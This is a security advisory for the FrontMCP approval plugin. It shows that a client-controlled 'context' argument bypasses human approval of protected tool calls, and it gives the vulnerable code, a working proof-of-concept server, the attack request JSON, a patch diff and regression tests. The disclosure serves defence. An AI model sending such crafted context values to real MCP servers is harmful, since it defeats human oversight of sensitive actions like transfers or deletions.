Client-controlled context bypasses human approval gates in @frontmcp/plugin-approval
Description
@frontmcp/plugin-approval allows a client-controlled tool argument named context to satisfy the server-configured preApprovedContexts policy and bypass the human approval gate.
The plugin determines the current approval context using:
const inputContext =
toolContext?.input?.['context'];
const contextFromInput =
this.isApprovalContext(inputContext)
? inputContext
: undefined;
const sessionContext =
ctx?.authInfo?.extra?.[
'approvalContext'
];
const contextFromSession =
this.isApprovalContext(
sessionContext
)
? sessionContext
: undefined;
return (
contextFromInput ??
contextFromSession
);The client-controlled value is preferred over the server-side session context.
The resulting context is then checked against preApprovedContexts before the approval store is consulted:
const currentContext =
this.getCurrentContext(
flowCtx
);
if (
this.isPreApprovedContext(
approvalConfig,
currentContext
)
) {
return;
}A matching client-supplied {type, identifier} pair therefore causes the approval hook to return immediately and allows the tool to execute without a human approval record.
This was reproduced end-to-end over HTTP against released @frontmcp/plugin-approval@1.7.2 and @frontmcp/sdk@1.7.2.
The same client and session produced the following results:
no context
-> ApprovalRequiredError
matching client-controlled context
-> protected tool executed
non-matching context
-> ApprovalRequiredErrorThe only difference between the blocked and successful requests was the attacker-controlled context argument.
Details
FrontMCP's approval plugin supports pre-approved contexts intended to bypass interactive approval for contexts trusted by the operator.
For example:
approval: {
required: true,
preApprovedContexts: [
{
type: 'deployment',
identifier:
'prod-eu-blue'
}
]
}However, the context used for this trust decision can come directly from the arguments of the tool call being authorized.
The relevant logic is:
private getCurrentContext(
flowCtx:
FlowCtxOf<
'tools:call-tool'
>
):
ApprovalContext |
undefined {
const {
toolContext
} = flowCtx.state;
const ctx =
toolContext
?.tryGetContext?.();
const inputContext =
toolContext
?.input
?.[
'context'
];
const contextFromInput =
this.isApprovalContext(
inputContext
)
? inputContext
: undefined;
const sessionContext =
ctx?.authInfo
?.extra
?.[
'approvalContext'
];
const contextFromSession =
this.isApprovalContext(
sessionContext
)
? sessionContext
: undefined;
return (
contextFromInput ??
contextFromSession
);
}This establishes two security problems.
First, a value supplied by the client is treated as a trust attribute.
Second, client input takes precedence over the server-derived session value.
The approval check then evaluates that value before consulting approval state:
const currentContext =
this.getCurrentContext(
flowCtx
);
if (
this.isPreApprovedContext(
approvalConfig,
currentContext
)
) {
return;
}
const approvalStore =
this.get(
ApprovalStoreToken
);
const approval =
await approvalStore
.getApproval(
tool.fullName,
sessionId,
userId
);isPreApprovedContext() only compares the two string fields:
type
identifierThere is no signature, capability token, authenticated binding, server-side issuance, or other proof that the caller is actually operating in the claimed context.
The resulting flow is:
client sends tools/call
-> arguments.context controlled by client
-> input validation accepts context
-> approval hook executes
-> getCurrentContext()
-> client context preferred over session context
-> type + identifier match preApprovedContexts
-> approval hook returns
-> approval store is never consulted
-> no human prompt
-> protected tool executesFor local tools, exploitation applies when the tool declares the context argument in its input schema.
For tool types whose inputs preserve arbitrary fields, the injected context can reach the hook without requiring such a declaration.
Because the pre-approved check occurs before the approval-store lookup, the same logic can also bypass approval state that would otherwise block execution.
The vulnerability is therefore not merely a UI or prompt bypass: the server-side authorization hook itself returns successfully before checking the human approval state.
PoC
Install the released packages:
npm install \
@frontmcp/sdk@1.7.2 \
@frontmcp/plugin-approval@1.7.2Create a tool protected by the approval plugin:
const {
FrontMcpInstance,
frontMcpApp,
FrontMcpTool,
ToolContext,
z
} = require(
'@frontmcp/sdk'
);
const {
ApprovalPlugin,
ApprovalCheckPlugin
} = require(
'@frontmcp/plugin-approval'
);
class WireTransferTool
extends ToolContext {
async execute(input) {
return {
content: [
{
type: 'text',
text:
'WIRE_EXECUTED ' +
'amount=' +
(
input
?.amount ??
0
)
}
]
};
}
}
FrontMcpTool({
name:
'wire_transfer',
description:
'Approval protected operation',
inputSchema: {
amount:
z.number(),
context:
z.object({
type:
z.string(),
identifier:
z.string()
})
.optional()
},
approval: {
required: true,
approvalMessage:
'Approve outgoing wire transfer?',
preApprovedContexts: [
{
type:
'deployment',
identifier:
'prod-eu-blue'
}
]
}
})(
WireTransferTool
);
const app =
frontMcpApp({
id:
'bank',
name:
'Bank',
tools: [
WireTransferTool
]
});
FrontMcpInstance.bootstrap({
info: {
name:
'approval-poc',
version:
'1.0.0'
},
apps: [
app
],
http: {
port:
3995,
host:
'127.0.0.1',
entryPath:
'/mcp'
},
plugins: [
ApprovalPlugin.init(
{}
),
ApprovalCheckPlugin
]
});Initialize a normal MCP session and perform the following three calls.
Control 1:
{
"name": "wire_transfer",
"arguments": {
"amount": 10000
}
}Observed:
ApprovalRequiredError:
Approve outgoing wire transfer?The approval gate is therefore active.
Now send the same request with a client-controlled context matching the server's preApprovedContexts entry:
{
"name": "wire_transfer",
"arguments": {
"amount": 10000,
"context": {
"type": "deployment",
"identifier": "prod-eu-blue"
}
}
}Observed:
WIRE_EXECUTED amount=10000No human approval was performed.
As a second control, change only the identifier:
{
"name": "wire_transfer",
"arguments": {
"amount": 10000,
"context": {
"type": "deployment",
"identifier": "not-a-match"
}
}
}Observed:
ApprovalRequiredError:
Approve outgoing wire transfer?The complete reproduced behavior was therefore:
CONTROL-1
no context
-> BLOCKED
ATTACK
context = {
type: "deployment",
identifier: "prod-eu-blue"
}
-> EXECUTED
CONTROL-2
context = {
type: "deployment",
identifier: "not-a-match"
}
-> BLOCKEDThe server, session, tool and caller were unchanged between all three requests.
The only variable controlling whether human approval occurred was the attacker-supplied context argument.
Suggested fix
Never use an untrusted tool argument as the authority for a pre-approved context.
The context used for preApprovedContexts should come exclusively from server-controlled authenticated state.
For example:
private getCurrentContext(
flowCtx:
FlowCtxOf<
'tools:call-tool'
>
):
ApprovalContext |
undefined {
const {
toolContext
} = flowCtx.state;
const ctx =
toolContext
?.tryGetContext?.();
- const inputContext =
- toolContext
- ?.input
- ?.[
- 'context'
- ];
-
- const contextFromInput =
- this.isApprovalContext(
- inputContext
- )
- ? inputContext
- : undefined;
-
const sessionContext =
ctx?.authInfo
?.extra
?.[
'approvalContext'
];
const contextFromSession =
this.isApprovalContext(
sessionContext
)
? sessionContext
: undefined;
- return (
- contextFromInput ??
- contextFromSession
- );
+ return contextFromSession;
}If a client-provided context must be supported for compatibility, it should be treated only as an untrusted selector and resolved against server-side state.
Alternatively, require a server-issued cryptographic capability bound to at least:
context type
context identifier
authenticated principal
session
expiration timeand verify it before allowing the context to satisfy pre-approval.
The plugin should also ensure that an explicit human denial cannot be bypassed by a pre-approved-context shortcut.
Regression tests should cover:
client context matching preApprovedContexts
-> must NOT bypass approval
server-issued session approvalContext matching
-> may bypass according to configured policy
client context conflicting with session context
-> session context wins
recorded human denial
-> remains deniedImpact
A client capable of invoking an approval-protected tool can bypass the plugin's human-in-the-loop security control by supplying a tool argument whose type and identifier match a configured preApprovedContexts entry.
The protected tool then executes without obtaining the human approval that the operator configured as a prerequisite.
This defeats the core security boundary of the approval plugin for affected configurations.
The practical impact depends on the operation protected by the approval gate. Such gates are commonly intended for sensitive state-changing operations such as deployments, deletion, infrastructure changes, financial actions, or access to sensitive data.
The bypass occurs entirely on the server-side authorization path and leaves no successful human approval record because the approval store is not consulted before execution is allowed.